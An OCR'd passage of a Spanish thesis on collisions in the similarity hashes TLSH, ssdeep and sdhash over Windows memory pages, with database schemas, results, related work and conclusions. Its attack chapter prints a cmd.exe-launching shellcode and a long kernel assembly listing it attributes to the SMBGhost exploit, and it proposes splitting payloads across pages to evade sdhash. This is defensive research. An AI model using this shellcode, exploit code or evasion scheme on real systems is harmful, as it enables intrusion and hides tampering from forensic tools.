internal_filename | varchar(100) YES NULL
product_filename | varchar(50) YES NULL
company_name varchar(50) YES NULL
legal_copyright mediumtext YES NULL
classification varchar(50) YES NULL
size int(10) unsigned YES NULL
base_address bigint(20) unsigned | YES NULL
os_id bigint(20) NO | MUL NULL
Tabla 3.5: Tabla modules de la segunda versién de la base de datos.

Campo Tipo Nulo | Clave | Por defecto | Extra

id bigint(20) NO PRI NULL auto_increment

num_page int(11) NO NULL

preprocess_method | varchar(10) NO NULL

hashTLSH varchar(75) YES NULL

hashSSDEEP varchar(150) | YES NULL

hashSD varchar(500) | YES NULL

module_id bigint(20) YES | MUL NULL

Tabla 3.6: Tabla pages de la segunda version de la base de datos.

Una vez actualizado el script de construccién para que generara correctamente la segunda version de
la base de datos, el principal punto a solventar era que la base de datos no distinguia si la arquitectura
del médulo o sistema operativo era x64 o x86, por lo que fue necesario afiadir el campo cpu en las tablas
correspondientes y reconstruir la base de datos. Ademads, se afiadié el campo file_path en la tabla modules
para facilitar las tareas de localizacién tras hallar colisiones. De esta forma, se tiene una tercera versién
cuyas tablas se recogen en la Tabla 3.7, la Tabla 3.8 y la Tabla 3.9, y cuyos scripts de construccion se
encuentran en el repositorio [44]. Asimismo, en la Figura 3.3 se muestra el modelo entidad-relacién de
esta ultima version.
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Campo | Tipo Nulo | Clave | Por defecto | Extra
id bigint(20) unsigned | NO PRI NULL auto_increment
version | varchar(30) NO NULL
name varchar(50) NO NULL
cpu varchar(10) NO NULL
Tabla 3.7: Tabla os de la base de datos final.
Campo Tipo Nulo | Clave | Por defecto | Extra
id bigint(20) unsigned | NO PRI NULL auto_increment
file_version varchar(100) NO NULL
original_filename | varchar(100) NO NULL
internal_filename | varchar(100) NO NULL
product_name varchar(100) YES NULL
company_name varchar(50) YES NULL
legal_copyright mediumtext YES NULL
classification varchar(50) YES NULL
size int(10) unsigned YES NULL
base_address bigint(8) unsigned | YES NULL
cpu varchar(10) NO NULL
os_id bigint(20) unsigned | NO | MUL NULL
file_path varchar(200) NO NULL
Tabla 3.8: Tabla modules de la base de datos final.
Campo Tipo Nulo | Clave | Por defecto | Extra
id bigint(20) unsigned | NO PRI NULL auto_increment
num_page int(11) NO NULL
preprocess_method | varchar(10) NO NULL
hashTLSH varchar(75) YES | MUL NULL
hashSSDEEP varchar(150) YES | MUL NULL
hashSDHASH varchar(800) YES | MUL NULL
module_id bigint(20) unsigned | NO | MUL NULL

Tabla 3.9: Tabla pages de la base de datos final.

15

Asi, se cuenta con una base de datos con 37.538 mddulos y 4.225.448 péaginas de 10 sistemas opera-

tivos, de arquitectura Intel de 32 y 64 bits. Concretamente, se disponen datos de las siguientes versiones
del SO Windows:

Windows 7 7601

Windows 8.1 Pro 9600

Windows Server 2012 R2 9600

Windows 10 14393

Windows 10 17763
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Figura 3.3: Modelo entidad-relacién de la base de datos final.

Extraccion y filtrado de paginas

Una vez lista la base de datos, se ha hecho uso de la herramienta APOTHEOSIS para extraer las coli-
siones existentes de las funciones TLSH, ssdeep y sdhash obtenidas a partir de las paginas disponibles.

APOTHEOSIS [32] (APprOximaTle searcH systEm Of Similarity dlgeSts) es una implementacion
especializada de la estructura de datos Hierarchical Navigable Small World (HNSW) [19], adaptada para
la busqueda eficiente del vecino mds cercano de hashes de similitud aproximada.

APOTHEOSIS

Database
—
L~ P S N
(| REST APT o
v’\-/\M/«_/v'“/J
: -

Binary Code Similarity
Approach (remote)

'I/ Binary Code Similarity Y ’
\ 1 Approach (local) 3\‘

Forensic analyst

Forensic analyst

Figura 3.4: Casos de uso de APOTHEOSIS [32].

Al aplicar esta herramienta se obtiene una salida con el siguiente formato:

CRITICAL:datalayer.database.page: [-] TLSH COLLISION [#pages 228438:228442]
CRITICAL:datalayer.database.page: [-] TLSH COLLISION [#pages 1033036:62607]
CRITICAL:datalayer.database.page: [-] SDHASH COLLISION [#pages 1033036:62607]
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El siguiente paso fue implementar un script que, dado el identificador de una pagina involucrada en
una colisién, permita extraer dicha pigina para analizar los motivos de la colisién. Este script realiza
una conexidn a la base de datos para, a partir del identificador de la pagina, obtener el médulo al que
pertenece, la ubicacion en el disco de su archivo de volcado de memoria (.dmp) y el nimero de pagina
dentro del médulo. Tras ello, toma los bytes correspondientes a la pdgina de dicho archivo y los almacena
en un nuevo archivo de volcado de memoria.

Con el propdsito de automatizar el proceso, se ha implementado otro script que lee un fichero con
el formato de salida de APOTHEOSIS y extrae de memoria las paginas que se ha visto involucradas en
una colisiéon. Como paso previo a la extraccion, fue necesario realizar un filtrado de las colisiones ya que
se contaba con pédginas duplicadas y unas pocas paginas vacias. De esta forma, se han almacenado en un
mismo directorio todos los archivos de volcado de memoria de estas paginas.

3.2.2. Resultados

Se han obtenido (tras el correspondiente filtrado) 141 colisiones. Tras una primera exploracién ma-
nual de una cantidad significativa de pares de pdginas involucrados en colisiones se vislumbran 3 posibles
causas para las colisiones halladas, que posteriormente se han podido extender a todo el conjunto de co-
lisiones:

1. Los bytes de una pagina coinciden con los de la otra pagina aplicando sobre una de ellas un
desplazamiento A de bytes.

2. Los bytes de ambas paginas coinciden, a excepcién de un nimero pequeifio de bytes.

3. Los bytes de una pagina coinciden con los de la otra pagina aplicando sobre una de ellas un
desplazamiento A de bytes, a excepcidon de un nimero pequefio de bytes.

En la Figura 3.5 se muestra un histograma que muestra la frecuencia de cada causa de colisién de cual-
quier tipo. Més en detalle, se tienen los siguientes tipos de colisiones para los pares de paginas analizados:

= Sélo TLSH (51), cuyas causas se representan en la Figura 3.6.
= TLSHy sdhash (87), cuyas causas se representan en la Figura 3.7.

= TLSH y ssdeep (3): un desplazamiento de 32B con 2B diferentes, un desplazamiento de 32B y
desplazamiento de 16B.

A modo de ejemplo de cémo se han observado estas causas de colisién, se muestra el caso de las
paginas 18985 y 1311278, que dan lugar a una colision tanto TLSH como sdhash. En primer lugar, en la
Figura 3.8 se muestra la frecuencia de los valores posibles de los bytes de las paginas 1056012 y 1681077
(no representando los bytes de valor O para obtener una mejor visibilidad) y como se puede apreciar son
muy similares.

Ahora, en la Figura 3.9 se muestra una grafica de dispersion de los bytes de las paginas 1056012 y
1681077, en la cual se aprecia cierta correlacién entre ambas en forma de desplazamiento, concretamente
si se desplazara la segunda 56 bytes se obtendria un elevado grado de coincidencia (concretamente,
coincidencia total, a excepcion de los bytes afladidos para desplazar), como se observa en la Figura 3.10,
en la cual se representan con valor negativo los bytes afiadidos para efectuar el desplazamiento.
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Figura 3.9: Grafica de dispersion de los bytes de las paginas 1056012 y 1681077.
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Figura 3.10: Gréfica de dispersion de los bytes de las paginas 1056012 y 1681077 tras desplazar.




Capitulo 4

Escenarios de posibles ataques

En este capitulo se busca responder a la pregunta de si es posible hacer que los bytes afiadidos para
desplazar sean de contenido daifiino, haciendo que al recalcular los hashes se tenga colision en alguna
de las funciones, lo que supondria una vulnerabilidad. Es decir, se plantea que, dada una pagina, se
sustituyan sus primeros bytes por otros que puedan contener cédigo dafiino y ver si el hash es el mismo,
no detectando esa modificacion.

Haciendo uso de algunos scripts implementados [33], se han modificado los primeros x €
{1,...,2048} bytes de las 282 paginas estudiadas en la Seccién 3.2.2 recalculando sus hashes. De esta
forma, se ha obtenido el grafico de la Figura 4.1 que muestra, como era de esperar, que a medida que
aumenta el nimero de bytes cambiados es mas complicado obtener colision. Ademads, se observa
que sdhash es la funciéon mas vulnerable al tipo de ataque propuesto.

100%

sdhash
90% TLSH
ssdeep

80%

70%

60%

50%

40%

Porcentaje de colisiones

30%

20%

10%

Ll Ay

0%
1 256 512 768 1024 1280 1536 1792 2048

Numero de bytes cambiados

Figura 4.1: Colisiones para cada funcién dependiendo del niimero de bytes modificados.

Como las colisiones por causa de que los bytes de ambas paginas coincidan a excepcién de un nimero
pequeiio de bytes no son vulnerables a este tipo de ataques al no tener margen para introducir cédigo
dafiino, se puede centrar el andlisis en las colisiones por desplazamiento. Tomando las 117 colisiones por
desplazamiento de las 141 obtenidas en la Seccién 3.2.2 y efectuando los desplazamientos necesarios
con distintos valores de bytes sobre esos 117 casos, se ha podido comprobar que se obtienen 71 nuevos
casos de colision:
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1 colisién TLSH y sdhash: es un desplazamiento de tan solo 1 byte, por lo que no da lugar a
introducir cédigo dafiino.

62 colisiones solo sdhash.

5 colisiones sdhash y ssdeep.

3 colisiones s6lo ssdeep.

Lo que en resumen deja 1 colisién TLSH, 68 colisiones sdhash y 8 colisiones ssdeep, reafirmando
a sdhash como la funcién més vulnerable al tipo de ataque propuesto de las tres estudiadas en este
documento, mientras que TLSH se muestra mucho mas robusta. Las causas de los 68 casos de este tipo de
colisién se muestran en el histograma de la Figura 4.2. Adicionalmente, en la Figura 4.3 se muestran las
causas de colision original a partir de las cuales no se ha conseguido nueva colisién al desplazar y por
tanto no causarfan vulnerabilidad para el ataque propuesto.
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Figura 4.2: Causas de colision original para nuevas colisiones sdhash obtenidas al desplazar.
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Ejemplo de ataque sencillo para sdhash

Las paginas con identificador 228438 y 228442 son respectivamente las paginas 142 y 146 del mo-
dulo con identificador 2142, cuya informacién se ha obtenido de la base de datos y se muestra en la

Tabla 4.1.
Campo Valor
file_version 10.0.17763.1757 (WinBuild.160101.0800)
original_filename MdmDiagnostics.dll
internal_filename MdmDiagnostics

product_name
company_name

Microsoft® Windows® Operating System
Microsoft Corporation

classification OS_LEGITIMATE

size 864256

base_address 140732709994496

cpu Intel 64

0s Windows 10 (SP0_10.0.17763 | Intel64)

file_path MdmbDiagnostics.dll_19-09-2021_23-55-10_10_SP0_10.0.17763_Intel_64.json

Tabla 4.1: Detalles del mé6dulo 2142.

En los resultados del andlisis de la Seccién 3.2.2 se ha comprobado que estas paginas dan lugar a una
colisién TLSH. Si ahora se desplaza 32 bytes la pagina 228442 (véase la Figura 4.4) se ha comprobado
experimentalmente que sean cualesquiera los bytes introducidos al principio para desplazar y tras recortar
la pagina para dejarla con el tamafio habitual de 4096 bytes, ya no existe la colision TLSH pero se obtiene
una colisién sdhash.

120

Pagina 228438
Pdgina 228442
Coincidencias

Pdgina 228438
Pdgina 228442 (desp. 32B)
Coincidencias

60

Valor del byte
Valor del byte

40

20

0 1000 2000

Numero de byte

3000 4000 0 1000 2000

Nimero de byte

3000 4000

Figura 4.4: Distribucién de los bytes antes y después de desplazar.

En este punto, el objetivo es cambiar los primeros 32 bytes de la pdgina 228438 por contenido dafiino.
Por ejemplo, se puede introducir un cédigo daifiino que abra una consola en Windows x86_64 (Intel 64)
usando la funcién WinExecA de la API de Windows [31], como se muestra en el Cddigo 4.1.

Si ahora se calculan los hashes de la pidgina 228438 antes y después de ser modificada se obtiene
que:

= Los hashes TLSH son diferentes con un 82 % de puntuacion de similitud.
= Los hashes ssdeep son diferentes con un 99 % de puntuacién de similitud.

= [os hashes sdhash son iguales. Por lo tanto, sdhash no detectaria la modificacién de la pagina
228438, lo que en este caso supondria una vulnerabilidad.
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; Push the string "cmd.eze"

XO0r eax, eax ; Clear EAX

push eax ; Push null terminator

push 0x6578652e ; Push "exze."

push 0x646d632e ; Push "cmd"

mov ebx, esp ; Move pointer to "cmd.exe" into EBX

; Push parameters
push 5
push ebx

; Call WinEzecd
mov eax, 0x7C861ECO ; Address of WinExecd in kernel32.dll (example)
call eax ; Call WinEzecA

; Exit the process
mov eax, 0x7C81CBD7 ; Address of ExitProcess in kernel32.dll (example)
call eax ; Call ExitProcess

Cédigo 4.1: Shellcode en ensamblador de 32 bits para Windows x86_64 Intel. Tamafio: 32 bytes.

4.2. [Estrategia de ataque con paginas enlazadas

Como se ha comentado al comienzo del presente capitulo, es mds probable obtener colisién cuantos
menos bytes se alteren de la pagina. Este hecho puede llevar a pensar que el ataque propuesto es poco
efectivo, dado que con una modificacién de 8, 16, o incluso 32 bytes de una pagina no se permite la
insercién de cédigo dafiino que pueda causar grandes efectos. Sin embargo, en esta seccién se propone
una estrategia que podria ser utilizada para causar una amenaza a mayor escala.

Esta estrategia consiste en dividir el cédigo dafiino a introducir en varias pédginas, afiadiendo las
instrucciones de salto que permitan la ejecucién del cédigo repartido en un conjunto de paginas alteradas,
tal y como se muestra en la Figura 4.5.

1
1111
11111

Péagina x Pagina y Pigina 7 bytes modificados

Figura 4.5: Esquema de la estrategia de ataque usando varias paginas.

Un ejemplo concreto de ataque posible con esta estrategia seria insertar el exploit ‘SMBGhost’ [37].
Este exploit estd disefiado para ejecutar codigo dafiino en el contexto de otro proceso en un sistema
Windows. Utiliza técnicas avanzadas como la resolucién de funciones [41] y la manipulacién directa de
estructuras de datos del nicleo con el objetivo final de conseguir la ejecuciéon de cédigo arbitrario. Este
caso implica introducir 902 bytes que pueden dividirse en 82 grupos de 11 bytes. Teniendo en cuenta que
a cada grupo (a excepcion del dltimo) hay que afiadirle una instruccién de salto a la siguiente pdgina,
que ocupa 5 bytes [39], habria que alterar los primeros 16 bytes de 81 pdginas y los primeros 11 bytes
de otra.
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; shellcode data section offsets

OFFSET_PEB_ADDR EQU 0x0

OFFSET_KAPC EQU 0x8

OFFSET_KAPC2 EQU 0x60
OFFSET_SC_BASE_ADDR EQU 0xC8
OFFSET_HALPINTERRCONT EQU 0xDO
OFFSET_PHALPAPICREQ EQU 0xD8
OFFSET_NTENTRY EQU O0xEO
OFFSET_USERPAYLOAD EQU OxE8

; some hardcoded EPROCESS and ETHREAD field offsets.
OFFSET_EPROCTHREADLIST  EQU 0x30
OFFSET_ETHREADTHREADLIST EQU 0x2F8
OFFSET_ETHREADMISCFLAGS EQU 0x74
OFFSET_MISCFLALTERTABLE EQU Ox4

; peb offsets

OFFSET_PEB_LDR EQU 0x18
OFFSET_PEB_INMEMORDER EQU 0x20

; hashes to resolve function pointers

HASH_PSGETCURRPROC EQU 0xDBF47C78
HASH_PSGETPROCIMAGENAME EQU 0x77645F3F
HASH_PSGETPROCID EQU 0x170114E1
HASH_PSGETPROCPEB EQU 0xB818B848
HASH_KEINITIALIZEAPC EQU 0x6D195CC4
HASH_KEINSERTQUEUEAPC EQU OxAFCC4634
HASH_ZWALLOCVIRTMEM EQU 0x576E99EA
HASH_CREATETHREAD EQU 0x835E515E
HASH_SPOOLSV EQU 0x3EE083D8
; size of usermode APC shellcode
USER_SHELLCODE_SIZE EQU _data_addr - _user_shellcode

[IsEcTION .text]
global _start
_main:
_prologue:

push r8

push r9

push ri3

push ri5

push ri4

push rcx

push rdx

push rbx

push rsi

push rdi

lea ri14, [rel _data_addr]
_patch_back_hal_table:

mov qword rax, [r14 + OFFSET_HALPINTERRCONT]

mov qword rbx, [r14 + OFFSET_PHALPAPICREQ]

mov [rax], qword rbx

sti

mov rax, [ri4 + OFFSET_NTENTRY]
_find_nt_base:

sub rax, 0x1000

cmp word [rax], Ox5add

jne _find_nt_base

mov ri15, rax

mov [r14 + OFFSET_NTENTRY], ri5
_get_current_eprocess:

mov edi, HASH_PSGETCURRPROC

call _call_nt_func

mov ri13, rax
_get_image_name_eprocess:

mov edi, HASH_PSGETPROCIMAGENAME

call _get_offset_from_function

mov rcx, rax
_get_proc_links_eprocess:

mov edi, HASH_PSGETPROCID

call _get_offset_from_function

mov rdx, rax

add rdx, 0x8
_find_target_process_loop:

lea rsi, [ri13+rcx]

call calc_hash

cmp eax, HASH_SPOOLSV

je _found_target_process

mov ri3, [ri3+rdx]

sub ri13, rdx

jmp _find_target_process_loop
_found_target_process:

mov edi, HASH_PSGETPROCPEB

mov rcx, ri3

call _call_nt_func

mov [ri4 + OFFSET_PEB_ADDR], rax

mov r9, [r13 + OFFSET_EPROCTHREADLIST]

mov r8, [r13 + OFFSET_EPROCTHREADLIST + 0x8]

sub r8, OFFSET_ETHREADTHREADLIST

xor rsi, rsi
_find_good_thread:

sub r9, OFFSET_ETHREADTHREADLIST

mov edi, dword [r9 + OFFSET_ETHREADMISCFLAGS]

bt edi, OFFSET_MISCFLALTERTABLE

jnc _find_good_thread_loop

mov rsi, r9

jmp _init_apc

Cédigo 4.2: Cédigo ensamblador del exploit ‘SMBGhost’ [37]. Parte 1/3.
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_find_good_thread_loop:
cmp r8, r9
mov r9, [r9 + OFFSET_ETHREADTHREADLIST]
jne _find_good_thread
_init_apc:
test rsi, rsi
Jjz _restore_regs_and_jmp_back
lea rcx, [ri14 + OFFSET_KAPC]
mov rdx, rsi
xor r8, r8
lea r9, [rel _kernel_apc_routine]
push rdx
push r8
push r8
push r8
mov edi, HASH_KEINITIALIZEAPC
sub rsp, 0x20
call _call_nt_func
add rsp, 0x40
_insert_apc:
lea rcx, [ri14 + OFFSET_KAPC]
mov edi, HASH_KEINSERTQUEUEAPC
sub rsp, 0x20
call _call_nt_func
add rsp, 0x20
_restore_regs_and_jmp_back:
cli
mov rax, rbx
pop rdi
pop rsi
pop rbx
pop rdx
pop rcx
pop rid
pop ri5
pop ri3
pop r9
pop r8
Jjmp rax
_call_nt_func:
call _get_proc_addr
Jjmp rax
_get_proc_addr:
; Save registers
push rbx
push rcx
push rsi ; for using calc_hash
; use raz to find EAT
mov eax, dword [r15+60] ; Get PE header e_lfanew
add rax, rib5
mov eax, dword [rax+136] ; Get ezport tables RVA
add rax, rib5

push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov ebx, dword [rax+32] ; FunctionNames

add rbx, rib
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash

dec ecx ; decrement NumberOfFunctions

mov esi, dword [rbx+rcx*4] ; Get rva of next module name

add rsi, rib ; Add the modules base address

call calc_hash

cmp eax, edi ; Compare the hashes

jnz _get_proc_addr_get_next_func ; try the nezt function
_get_proc_addr_finish:

pop rax ; restore EAT

mov ebx, dword [rax+36]
add rbx, rib ordinate table virtual address
mov cx, word [rbx+rcx*2] desired functions ordinal
mov ebx, dword [rax+28] ; Get the function addresses table Tva
add rbx, rib5 Add the modules base address
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
add rax, rib Add the modules base address to get the functions actual VA
pop rsi
pop rcx
pop rbx
ret
calc_hash:
push rdx
Xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the nezt byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the nezt byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop rdx
ret
_get_offset_from_function:
call _get_proc_addr
cmp byte [rax+2], 0x80
Jja _get_offset_dword
movzx eax, byte [rax+3]
ret

Cédigo 4.3: Cédigo ensamblador del exploit ‘SMBGhost’ [37]. Parte 2/3.
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190 _get_offset_dword:

191 mov eax, dword [rax+3]

192 ret

193 _kernel_apc_routine:

194 push ri5

195 push ri4

196 push rdi

197 push rsi

198 _find_createthread_addr:

199 mov rax, [rel _data_addr + OFFSET_PEB_ADDR]
200 mov rcx, [rax + OFFSET_PEB_LDR]

201 mov rcx, [rcx + OFFSET_PEB_INMEMORDER]
202 _find_kernel32_d11l_loop:

203 mov rcx, [rcx]

204 cmp word [rcx+0x48], 0x18

205 jne _find_kernel32_dll_loop

206 mov rax, [rcx+0x50]

207 cmp dword [rax+0xc], 0x00320033

208 jnz _find_kernel32_dll_loop

209 mov ri5, [rcx + 0x20]

210 mov edi, HASH_CREATETHREAD

211 call _get_proc_addr

212 mov ri4, rax

213 _alloc_mem:

214 mov ri5, [rel _data_addr + OFFSET_NTENTRY]
215 Xor eax, eax

216 mov cr8, rax

217 lea rdx, [rel _data_addr + OFFSET_SC_BASE_ADDR]
218 mov ecx, eax

219 not rex

220 mov r8, rax

221 mov al, 0x40

222 push rax

223 shl eax, 6

224 push rax

225 mov [r9], rax

226 sub rsp, 0x20

227 mov edi, HASH_ZWALLOCVIRTMEM

228 call _call_nt_func

229 add rsp, 0x30

230 _copy_user_shellcode:

231 mov rdi, [rel _data_addr + OFFSET_SC_BASE_ADDR]
232 lea rsi, [rel _user_shellcode]

233 mov ecx, USER_SHELLCODE_SIZE

234 rep movsb

235 _copy_user_payload:

236 lea rsi, [rel _data_addr + OFFSET_USERPAYLOAD]
237 mov ecx, 0x258

238 rep movsb

239 _init_and_insert_apc:

240 lea rcx, [rel _data_addr + OFFSET_KAPC2]
241 mov rdx, qword [gs:0x188]

242 xor r8, r8

243 lea r9, [rel _kernel_apc_routine2]

244 push r8

245 push Ox1

246 mov rax, [rel _data_addr + OFFSET_SC_BASE_ADDR]
247 push rax

248 push r8

249 sub rsp, 0x20

250 mov edi, HASH_KEINITIALIZEAPC

251 call _call_nt_func

252 add rsp, 0x40

253 lea rcx, [rel _data_addr + OFFSET_KAPC2]
254 mov rdx, ri4

255 xor r9, r9

256 mov edi, HASH_KEINSERTQUEUEAPC

257 sub rsp, 0x20

258 call _call_nt_func

259 add rsp, 0x20

260 _kernel_apc_done:

261 pop rsi

262 pop rdi

263 pop ri4

264 pop rib

265 ret

266 _kernel_apc_routine2:

267 nop

268 ret

269 _user_shellcode:

270 xchg rdx, rax

271 XOr ecx, ecx

272 push rcx

273 push rcx

274 mov r9, rcx

275 lea r8, [rel _data_addr] ; user payload has been appended to bottom of this shellcode
276 mov edx, ecx

277 sub rsp, 0x20

278 call rax

279 add rsp, 0x30

280 ret

281 _data_addr:

282 db 'XXXXXXXX'

283 FR

284 dq 0

Cédigo 4.4: Cédigo ensamblador del exploit ‘SMBGhost’ [37]. Parte 3/3.






Capitulo 5

Trabajos relacionados

En este capitulo se presentan diversos trabajos relacionados con los algoritmos hash de similitud
aproximada, especificamente ssdeep, TLSH y sdhash, citando evaluaciones y comparaciones realizadas
en varios estudios que destacan sus fortalezas y debilidades.

El estudio de Liebler y Baier [ 18] proporciona una comparacién detallada del rendimiento de ssdeep,
TLSH y sdhash. En este contexto, se introduce y evalia apx-bin, una nueva técnica derivada de la
comparacién aproximada para binarios. A diferencia de enfoques recientes, este prototipo se basa en
primitivas de CTPH y extiende mrsh-mem (derivado de mrsh-v2). Apoyédndose en la asignacion de se-
cuencias de bytes a una representacion entera mediante un arbol de prefijos entrenado, apx-bin logra
superar varios de los enfoques existentes en diferentes escenarios, mejorando la precision y eficiencia en
la comparacién binaria.

Sus andlisis comparativos demuestran que TLSH y sdhash superan a ssdeep en muchos escenarios
de evaluacién. TLSH muestra resistencia a las modificaciones en el cédigo fuente o el ensamblador debido
a su uso de n-gramas, mientras que sdhash es menos afectado por variaciones de versiones u opciones,
haciéndolo adecuado para el andlisis de malware y la gestion de versiones de software. Estos resultados
coinciden con la investigaciones previas donde TLSH mostré un mejor rendimiento en la deteccion de
modificaciones benignas y ofuscaciones maliciosas, siendo mds dificil de explotar debido a su disefio de
hashing sensible a la localizacion.

En el trabajo de Oliver, Forman y Cheng [13], se exploran las vulnerabilidades de ssdeep, sdhashy
TLSH. Aunque ssdeep es el estdndar de facto en el andlisis de malware, se ha demostrado que es vulne-
rable a ciertas modificaciones. Los autores presentan reglas simples para modificar el contenido y hacer
que ssdeep sea ineficaz, lo que refuerza la necesidad de considerar sus limitaciones. Ademads, refutan un
articulo que considera robusto a sdhash, demostrando cémo modificar el contenido para evadir su detec-
cién. Sin embargo, TLSH se destaca como mads robusto frente a ataques aleatorios y cambios, probando
su eficacia en comparacion con ssdeep y sdhash.

El estudio de Botacin et al. [21] aplica ssdeep y sdhash para la deteccidn y clasificacién de malware,
diferenciando entre hashes criptograficos y de similitud aproximada. Este trabajo identifica tres tipos
principales de tareas de clasificacion de malware: la agrupacién de familias de malware, la deteccion de
malware y la clasificacién de familias, destacando la aplicabilidad y las limitaciones de cada algoritmo
en estos contextos.

Pagani, Dell’ Amico y Balzarotti [16] realizan una evaluacién avanzada de la precisién y la exhausti-
vidad de los hashes de similitud en andlisis binario, subrayando casos de uso exitosos y errores comunes.
Este trabajo destaca la importancia de comprender tanto los usos adecuados como los malentendidos
comunes al aplicar estos algoritmos en diferentes escenarios. Este estudio arroja luz sobre cémo se com-
portan los algoritmos de hashing difuso en tareas de anélisis de programas con el fin de ayudar a entender
si el hashing difuso se puede utilizar en un contexto particular y, en caso afirmativo, qué algoritmo es la
mejor opcidn para la tarea. En él, se concluye que el enfoque CTPH adoptado por ssdeep (el algoritmo
de hashing difuso mds utilizado) se queda corto en la mayoria de las tareas, demostrando que TLSH y
sdhash lo superan sistemdticamente y deberian recomendarse en su lugar.
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Fuchs, Nagy y Buttydn [30] proporcionan un andlisis detallado de técnicas de hashing sensibles a
la localizacion, evaluando TLSH, sdhash y ssdeep en términos de precision, eficiencia y resistencia
a modificaciones. En este articulo, se propone un ataque dirigido contra el esquema de resumen de
similitud de TLSH y se realizan experimentos sobre su robustez frente a dicho ataque. Para la evaluacion,
se emplean muestras de malware 10T, ya que la deteccién de malware y la agrupacién de malware son
casos de uso prominentes de TLSH. El ataque propuesto intenta modificar binarios sobrescribiendo una
parte no utilizada del binario, preservando asi su funcionalidad, al tiempo que crea la mayor diferencia
TLSH posible en comparacién con el archivo original. Concluye que aunque TLSH se considera robusto
contra ataques aleatorios, no es lo suficientemente robusto contra ataques dirigidos.

El estudio de Martin-Pérez [28] examina las limitaciones de los algoritmos de hashing de similitud
en la agrupacién de malware, destacando desafios y posibles mejoras. En el mismo, se afirma que el
problema de la identificacién automadtica del contenido de la memoria en sistemas posiblemente compro-
metidos se debe a diversos factores, principalmente relacionados con la gestién de memoria realizada por
el sistema operativo. Estos problemas hacen que los volcados de memoria sean inexactos e incompletos,
dificultando la deteccién de posibles malware en estos volcados.

Por tdltimo, Gobel et al. [26] presentan FRASHER, un marco de pruebas automatizado y de cédigo
abierto para la evaluacion de algoritmos de similitud aproximada. En su articulo, hacen uso de pruebas de
“una aguja en un pajar” con varios tipos de archivos, un método utilizado para evaluar la precision de los
algoritmos de similitud aproximada en la deteccién de pequefios fragmentos de datos dentro de archivos
mas grandes. Los resultados obtenidos indican que ssdeep es el algoritmo mads fiable para la mayoria de
los tipos de archivos y escenarios de prueba, seguido de TLSH con un rendimiento moderado. Por otro
lado, afirman (al igual que en este estudio) que sdhash se muestra considerablemente menos efectivo,
fallando en identificar correctamente la mayoria de las “agujas” y no es recomendado para aplicaciones
donde se requiere consistencia en la deteccion de fragmentos de datos.



Capitulo 6

Conclusiones y trabajo futuro

En este capitulo se presentan las conclusiones obtenidas tras la realizacion de este trabajo, asi como
posibles lineas de trabajo futuro a realizar como continuacién del mismo.

6.1. Conclusiones

Los algoritmos de hash de similitud aproximada no deben ser considerados como sustitutos de los
algoritmos de hash criptograficos, sino como complementos. Los primeros no son adecuados para com-
parar una entrada con otra que debe ser exactamente la misma para garantizar la integridad. En su lugar,
deben utilizarse para comparar una entrada con un patrén malicioso, permitiendo asi reconocer y lo-
calizar variaciones en los datos. Por otro lado, cuando se requiere realizar una comparacién entre dos
entradas que tienen que ser idénticas, debe emplearse un algoritmo hash criptografico.

De los tres algoritmos hash de similitud aproximada analizados en este trabajo, y en el contexto
del caso de estudio propuesto sobre la modificacion de una seccién de bytes, se observa que sdhash
es el menos sensible a estos cambios, mientras que TLSH y ssdeep demuestran una mayor robustez
en este aspecto. Esto puede interpretarse de dos formas: TLSH y ssdeep ofrecen un rendimiento mas
parecido al de un algoritmo de hash criptografico, siendo més fiables para comparar una entrada con otra
reconocida como segura; y por contra, sdhash resulta més efectivo para comparar una entrada con un
patrén malicioso, ya que permite identificar mejor las posibles variaciones introducidas por un atacante,
provocando colisiones que facilitan su deteccion.

Ademds, tal y como se muestra en los estudios citados en el Capitulo 5, TLSH y sdhash superan
a ssdeep, el algoritmo de hashing difuso mds utilizado, en algunos escenarios de evaluacién, mientras
que este ultimo ofrece un mejor rendimiento en evaluaciones como las pruebas de “una aguja en un
pajar” [26]. Por tanto, no es sencillo determinar cudl de los tres algoritmos hash de similitud aproximada
es el mejor, ya que su efectividad depende del contexto en el que se vayan a emplear. Cada algoritmo
presenta debilidades especificas, como la poca sensibilidad de sdhash en el caso de modificaciones
pequeiias en archivos mas grandes que ha sido estudiada y explotada en este documento.

6.2. Trabajo futuro

Como continuacién de este trabajo, se plantean varias lineas de investigacién y experimentacion
que podrian ampliar y profundizar en los resultados obtenidos. En primer lugar, se propone llevar a
cabo los ataques tedricos planteados en un entorno controlado. Esta implementacidn practica permitird
comprobar la validez de los ataques y evaluar sus efectos reales. La ejecucion de estos ataques en un
entorno seguro proporcionard datos empiricos que podran ser comparados con las predicciones tedricas,
lo que facilitard una mejor comprension de las vulnerabilidades y fortalezas de los algoritmos de hash de
similitud aproximada.

Ademds, se sugiere extender el andlisis a una mayor variedad de algoritmos. En este trabajo se han
estudiado tres algoritmos especificos: TLSH, ssdeep y sdhash. Sin embargo, existen otros algoritmos
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hash de similitud aproximada que pueden ofrecer caracteristicas y comportamientos diferentes. Analizar
estos otros algoritmos permitiria obtener una visién mas completa del estado del arte en este campo y
podria revelar nuevas aplicaciones o limitaciones.

Por dltimo, serfa recomendable incluir en el anélisis médulos Arm ademads de los médulos Intel que
ya se han considerado en este trabajo. La tdltima versién de la base de datos disefiada en este trabajo
se ha preparado para soportar mdédulos Arm, lo que facilita la extension del estudio a esta arquitectura.
Incluir médulos Arm en el andlisis seria importante porque esta arquitectura es ampliamente utilizada en
dispositivos méviles y sistemas embebidos, y su comportamiento frente a los algoritmos hash de simi-
litud aproximada puede diferir del observado en médulos Intel. Esta ampliacion del 4mbito de estudio
contribuird a una comprensién mas global y detallada del rendimiento y la seguridad de los algoritmos
hash de similitud aproximada en diferentes entornos tecnolégicos.
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Anexo A
Dedicacion

Este trabajo ha sido desarrollado de febrero a julio de 2024, exceptuando el mes de mayo para poder
dedicarle més tiempo a la preparacion de los exdmenes. La estructura de este proyecto consta de diversas
fases, que a su vez comprenden varias actividades. La Tabla A.1 detalla el nimero de horas dedicadas a
cada actividad del proyecto, reflejando el esfuerzo dedicado para alcanzar los objetivos propuestos. Por
su parte, el diagrama de Gantt presentado en la Figura A.1 permite visualizar la distribucién temporal
